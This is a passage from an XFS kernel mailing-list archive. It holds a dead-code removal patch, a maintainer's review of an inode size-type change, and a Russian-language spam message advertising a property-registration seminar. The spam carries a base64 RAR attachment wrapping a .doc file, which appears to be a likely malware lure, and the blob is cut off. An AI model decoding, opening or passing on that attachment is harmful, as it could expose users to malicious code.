xlog_recover_inode_pass2 References: <20130912140122.873071199@sgi.com> Content-Disposition: inline; filename=xfs-remove-dead-code-xlog_recover_inode_pass2.patch Additional code in the error handler of xlog_recover_inode_pass2() results in the following error: static checker warning: "fs/xfs/xfs_log_recover.c:2999 xlog_recover_inode_pass2() info: ignoring unreachable code." Reported-by: Dan Carpenter Signed-off-by: Mark Tinguely --- fs/xfs/xfs_log_recover.c | 3 --- 1 file changed, 3 deletions(-) Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2995,9 +2995,6 @@ error: if (need_free) kmem_free(in_f); return XFS_ERROR(error); - - xfs_buf_relse(bp); - goto error; } /* From bpm@sgi.com Thu Sep 12 09:24:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 128237F4E for ; Thu, 12 Sep 2013 09:24:50 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 88D9DAC004; Thu, 12 Sep 2013 07:24:46 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 4CC964266DC; Thu, 12 Sep 2013 09:24:46 -0500 (CDT) Date: Thu, 12 Sep 2013 09:24:46 -0500 From: Ben Myers To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: Make the incore inode di_size to xfs_ufsize_t Message-ID: <20130912142446.GZ1935@sgi.com> References: <52269DF4.5040305@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52269DF4.5040305@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Jeff, On Wed, Sep 04, 2013 at 10:41:56AM +0800, Jeff Liu wrote: > From: Jie Liu > > Make the incore inode di_size to unsigned, this would be helpful > to catch the negative sizes of it in many cases, so that we don't > need to perform additional check for it being less than ZERO or not. > > Reported-by: Dan Carpenter > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_inode_fork.c | 3 +-- > fs/xfs/xfs_log_format.h | 2 +- > 2 files changed, 2 insertions(+), 3 deletions(-) > > diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c > index 02f1083..2b60a5a 100644 > --- a/fs/xfs/xfs_inode_fork.c > +++ b/fs/xfs/xfs_inode_fork.c > @@ -167,8 +167,7 @@ xfs_iformat_fork( > } > > di_size = be64_to_cpu(dip->di_size); > - if (unlikely(di_size < 0 || > - di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { > + if (unlikely(di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { > xfs_warn(ip->i_mount, > "corrupt inode %Lu (bad size %Ld for local inode).", > (unsigned long long) ip->i_ino, > diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h > index a49ab2c..2795fc5 100644 > --- a/fs/xfs/xfs_log_format.h > +++ b/fs/xfs/xfs_log_format.h > @@ -547,7 +547,7 @@ typedef struct xfs_icdinode { > xfs_ictimestamp_t di_atime; /* time last accessed */ > xfs_ictimestamp_t di_mtime; /* time last modified */ > xfs_ictimestamp_t di_ctime; /* time created/inode modified */ > - xfs_fsize_t di_size; /* number of bytes in file */ > + xfs_ufsize_t di_size; /* number of bytes in file */ These two changes by themselves look fairly innocuous, but upon closer inspection I'm not so sure... e.g. xfs_fsize_t is still signed, and i_size is loff_t is still signed. I'm wondering if this doesn't represent a subtle change in the on-disk format for inodes up in that size range. This was on my 3.12 queue. I think it bears more discussion, so I'll hold off on this one for now. FWIW I believe we're still ok with just Dan's fix because the maximum size for local format is half a block or less. Thanks, Ben From ktolibo.tamigieva@bimsan.net Thu Sep 12 09:31:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A4FD329DFB for ; Thu, 12 Sep 2013 09:31:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3D909AC00E for ; Thu, 12 Sep 2013 07:31:01 -0700 (PDT) X-ASG-Debug-ID: 1378996256-04bdf0538742be0001-NocioJ Received: from vip-3.dns-rus.net (vip-3.dns-rus.net [91.219.193.3]) by cuda.sgi.com with ESMTP id eHtR73G09PFdTzZN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Sep 2013 07:30:59 -0700 (PDT) X-Barracuda-Envelope-From: ktolibo.tamigieva@bimsan.net X-Barracuda-Apparent-Source-IP: 91.219.193.3 Received: from 66-168-170-55.dhcp.jcsn.tn.charter.com ([66.168.170.55]:52636 helo=Unknown) by vip-3.dns-rus.net with esmtpa (Exim 4.80.1) (envelope-from ) id 1VK7v5-0003Qk-5j; Thu, 12 Sep 2013 18:30:55 +0400 Message-ID: <17A18E55DDAD43D2B5DA5A4C41013439@owkb> Reply-To: =?windows-1251?B?0ezl8u376SDu8uTl6w==?= From: =?windows-1251?B?0ezl8u376SDu8uTl6w==?= To: , , , Subject: =?windows-1251?B?4OTs6O3o8fLw4PLu8A==?= Date: Thu, 12 Sep 2013 16:30:43 +0200 X-ASG-Orig-Subj: =?windows-1251?B?4OTs6O3o8fLw4PLu8A==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0A4F_01CEAFD5.6D6EDD00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vip-3.dns-rus.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - bimsan.net X-Get-Message-Sender-Via: vip-3.dns-rus.net: authenticated_id: info@abca.ru X-Barracuda-Connect: vip-3.dns-rus.net[91.219.193.3] X-Barracuda-Start-Time: 1378996258 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140550 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_0A4F_01CEAFD5.6D6EDD00 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0A50_01CEAFD5.6D6EDD00" ------=_NextPart_001_0A50_01CEAFD5.6D6EDD00 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable "=CE=E1=FA=E5=EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8: =F0=E5=E3=E8= =F1=F2=F0=E0=F6=E8=FF, =EA=E0=E4=E0=F1=F2=F0, =EE=F4=EE=F0=EC=EB=E5=ED=E8= =E5 =EF=F0=E0=E2." =CF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED=ED=EE=E5 =EF=F0=E0=E2=EE =ED=E0 =EE=E1=FA= =E5=EA=F2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2=EE=E7=ED=E8=EA=E0=E5=F2= =F1 =EC=EE=EC=E5=ED=F2=E0 =E3=EE=F1. =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=E8. = =CA=E0=EA=E8=EC =EE=E1=F0=E0=E7=EE=EC =EE=F1=F3=F9=E5=F1=F2=E2=E8=F2=FC =ED= =E5=EE=E1=F5=EE=E4=E8=EC=FB=E5 =E4=E5=E9=F1=F2=E2=E8=FF =EF=EE =EF=E0=F1=EF= =EE=F0=F2=E8=F0=EE=E2=E0=ED=E8=FE, =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=E8 =EF=F0= =E0=E2 =E8 =EA=E0=E4=E0=F1=F2=F0=EE=E2=EE=EC=F3 =F3=F7=E5=F2=F3? =CA=E0=EA= =E8=E5 =E2=E5=E4=EE=EC=F1=F2=E2=E0 =E8 =F1=EB=F3=E6=E1=FB =EE=F2=E2=E5=F7= =E0=FE=F2 =E7=E0 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FE =ED=E5=E4=E2=E8=E6=E8=EC= =EE=E3=EE =E8=EC=F3=F9=E5=F1=F2=E2=E0? =CA=E0=EA =EF=F0=EE=E2=E5=F1=F2=E8= =F1=E4=E5=EB=EA=F3 =F1 =E8=EC=F3=F9=E5=F1=F2=E2=E5=ED=ED=FB=EC =EA=EE=EC= =EF=EB=E5=EA=F1=EE=EC? =D1=E0=EC=FB=E5 =E0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=E2=EE=E2=FB=E5 =E2= =EE=EF=F0=EE=F1=FB =E8 =EF=EE=F1=EB=E5=E4=ED=E8=E5 =E8=E7=EC=E5=ED=E5=ED=E8= =FF =E2 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=EC =EC=E5=F0=EE=EF=F0= =E8=FF=F2=E8=E8 =E2 =E3=EE=F0=EE=E4=E5 =D1.-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5= : =EA=E0=E4=E0=F1=F2=F0 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC=EE= =F1=F2=E8: =EF=F0=E8=ED=F6=E8=EF=FB =E2=E5=E4=E5=ED=E8=FF =E8 =EF=F0=E5=E4= =EE=F1=F2=E0=E2=EB=E5=ED=E8=E5 =F1=E2=E5=E4=E5=ED=E8=E9; =EC=E5=E6=E5=E2= =E0=ED=E8=E5, =EA=E0=E4=E0=F1=F2=F0=EE=E2=FB=E5 =EF=E0=F1=EF=EE=F0=F2=E0;= =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=E5 =F1=EB=F3=E6=E1 =D0=EE=F1=F0=E5= =E5=F1=F2=F0=E0, =C1=D2=C8=A0 =E8 =EF=F0. =EF=EE=F1=EB=E5=E4=ED=E8=E5 =E7= =E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 =E0=EA=F2=FB =E2 =F1=F4=E5=F0=E5= =E7=E5=EC=EB=E5=F3=F1=F2=F0=EE=E9=F1=F2=E2=E0, =C3=CA=CD, =F0=E5=E3=E8=F1= =F2=F0=E0=F6=E8=E8 =F1=E4=E5=EB=EE=EA =F1 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2= =FC=FE; =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EF=F0=E5=E4=EE=F1=F2=E0=E2=EB=E5= =ED=E8=FF =F3=F7=E0=F1=F2=EA=EE=E2 =EF=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2= =E2=EE; =E2=EE=E7=ED=E8=EA=ED=EE=E2=E5=ED=E8=E5 =EF=F0=E0=E2 =ED=E0 =EE=E1= =FA=E5=EA=F2 =EF=F0=E8 =E2=E2=EE=E4=E5 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1= =EF=EB=F3=E0=F2=E0=F6=E8=FE; =EB=E8=ED=E5=E9=ED=FB=E5 =EE=E1=FA=E5=EA=F2=FB= =E8 =E8=ED=E6=E5=ED=E5=F0=ED=FB=E5 =F1=E5=F2=E8; =F2=F0=E5=E1=EE=E2=E0=ED= =E8=FF =EA =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E7=E4=E0=ED=E8=E9 =E8 =F1= =EE=EE=F0=F3=E6=E5=ED=E8=E9, =E2 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =F1= N 3=C77-=D4=C7 =EE=F2 28.1l.2=CEI1 =F1=E4=E5=EB=EA=E8 =F1 =E7=E5=EC=EB=E5= =E9; =20 __________ =CC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E5 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED= =ED=EE=E5 =F1 =CE7 =EF=EE 08 =EE=EA=F2=FF=E1=F0=FF 20l=C7 =E3=EE=E4=E0, =E3=EE=F0=EE= =E4 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3 =CA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=E8 =E8 =E7=E0=EF=E8=F1=FC : < 812 > 98^6 -- 9=C7 =3D =F77 ------=_NextPart_001_0A50_01CEAFD5.6D6EDD00 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable Untitled Document

"=CE=E1=FA=E5=EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC= =EE=F1=F2=E8: =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FF, =EA=E0=E4=E0=F1=F2=F0, =EE= =F4=EE=F0=EC=EB=E5=ED=E8=E5 =EF=F0=E0=E2."


=CF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED=ED=EE=E5 =EF=F0=E0= =E2=EE =ED=E0 =EE=E1=FA=E5=EA=F2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2= =EE=E7=ED=E8=EA=E0=E5=F2 =F1 =EC=EE=EC=E5=ED=F2=E0 =E3=EE=F1. =F0=E5=E3=E8= =F1=F2=F0=E0=F6=E8=E8. =CA=E0=EA=E8=EC =EE=E1=F0=E0=E7=EE=EC =EE=F1=F3=F9= =E5=F1=F2=E2=E8=F2=FC =ED=E5=EE=E1=F5=EE=E4=E8=EC=FB=E5 =E4=E5=E9=F1=F2=E2= =E8=FF =EF=EE =EF=E0=F1=EF=EE=F0=F2=E8=F0=EE=E2=E0=ED=E8=FE, =F0=E5=E3=E8= =F1=F2=F0=E0=F6=E8=E8 =EF=F0=E0=E2 =E8 =EA=E0=E4=E0=F1=F2=F0=EE=E2=EE=EC=F3= =F3=F7=E5=F2=F3? =CA=E0=EA=E8=E5 =E2=E5=E4=EE=EC=F1=F2=E2=E0 =E8 =F1=EB=F3= =E6=E1=FB =EE=F2=E2=E5=F7=E0=FE=F2 =E7=E0 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FE= =ED=E5=E4=E2=E8=E6=E8=EC=EE=E3=EE =E8=EC=F3=F9=E5=F1=F2=E2=E0? =CA=E0=EA= =EF=F0=EE=E2=E5=F1=F2=E8 =F1=E4=E5=EB=EA=F3 =F1 =E8=EC=F3=F9=E5=F1=F2=E2= =E5=ED=ED=FB=EC =EA=EE=EC=EF=EB=E5=EA=F1=EE=EC?

=D1=E0=EC=FB=E5 =E0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF= =F0=E0=E2=EE=E2=FB=E5 =E2=EE=EF=F0=EE=F1=FB =E8 =EF=EE=F1=EB=E5=E4=ED=E8=E5= =E8=E7=EC=E5=ED=E5=ED=E8=FF =E2 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED= =EE=EC =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E8 =E2 =E3=EE=F0=EE=E4=E5 =D1= .-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5:

    =20
  • =EA=E0=E4=E0=F1=F2=F0 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5= =E4=E2=E8=E6=E8=EC=EE=F1=F2=E8: =EF=F0=E8=ED=F6=E8=EF=FB =E2=E5=E4=E5=ED=E8= =FF =E8 =EF=F0=E5=E4=EE=F1=F2=E0=E2=EB=E5=ED=E8=E5 =F1=E2=E5=E4=E5=ED=E8= =E9;
  • =EC=E5=E6=E5=E2=E0=ED=E8=E5, =EA=E0=E4=E0=F1=F2=F0= =EE=E2=FB=E5 =EF=E0=F1=EF=EE=F0=F2=E0; =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2= =E8=E5 =F1=EB=F3=E6=E1 =D0=EE=F1=F0=E5=E5=F1=F2=F0=E0, =C1=D2=C8=A0 =E8 = =EF=F0.
  • =EF=EE=F1=EB=E5=E4=ED=E8=E5 = =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 =E0=EA=F2=FB =E2 =F1=F4=E5=F0= =E5 =E7=E5=EC=EB=E5=F3=F1=F2=F0=EE=E9=F1=F2=E2=E0, =C3=CA=CD, =F0=E5=E3=E8= =F1=F2=F0=E0=F6=E8=E8 =F1=E4=E5=EB=EE=EA =F1 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1= =F2=FC=FE;
  • =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EF=F0=E5=E4=EE=F1= =F2=E0=E2=EB=E5=ED=E8=FF =F3=F7=E0=F1=F2=EA=EE=E2 =EF=EE =F1=F2=F0=EE=E8=F2= =E5=EB=FC=F1=F2=E2=EE; =E2=EE=E7=ED=E8=EA=ED=EE=E2=E5=ED=E8=E5 =EF=F0=E0= =E2 =ED=E0 =EE=E1=FA=E5=EA=F2 =EF=F0=E8 =E2=E2=EE=E4=E5 =EE=E1=FA=E5=EA=F2= =E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE; =EB=E8=ED=E5=E9=ED=FB=E5 =EE= =E1=FA=E5=EA=F2=FB =E8 =E8=ED=E6=E5=ED=E5=F0=ED=FB=E5 =F1=E5=F2=E8;
  • =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF= =EA =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E7=E4=E0=ED=E8=E9 =E8 =F1=EE=EE= =F0=F3=E6=E5=ED=E8=E9, =E2 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =F1 N 3=C7= 7-=D4=C7 =EE=F2 28.1l.2=CEI1
  • =F1=E4=E5=EB=EA=E8 =F1 =E7=E5=EC=EB=E5=E9;
  • =20

__________

=CC=E5=F0=EE=EF=F0=E8=FF=F2=E8= =E5 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=E5

=F1 =CE7 =EF=EE 08 =EE=EA=F2=FF= =E1=F0=FF 20l=C7 =E3=EE=E4=E0, =E3=EE=F0=EE=E4 =D1=E0=ED=EA=F2-=CF=E5=F2=E5= =F0=E1=F3=F0=E3

=CA=EE=ED=F1=F3=EB=FC=F2=E0=F6= =E8=E8 =E8 =E7=E0=EF=E8=F1=FC :

< 812 > 98^6 -- 9=C7 =3D = =F77

------=_NextPart_001_0A50_01CEAFD5.6D6EDD00-- ------=_NextPart_000_0A4F_01CEAFD5.6D6EDD00 Content-Type: application/octet-stream; name="programma_meropriyaniya__.rar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="programma_meropriyaniya__.rar" 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 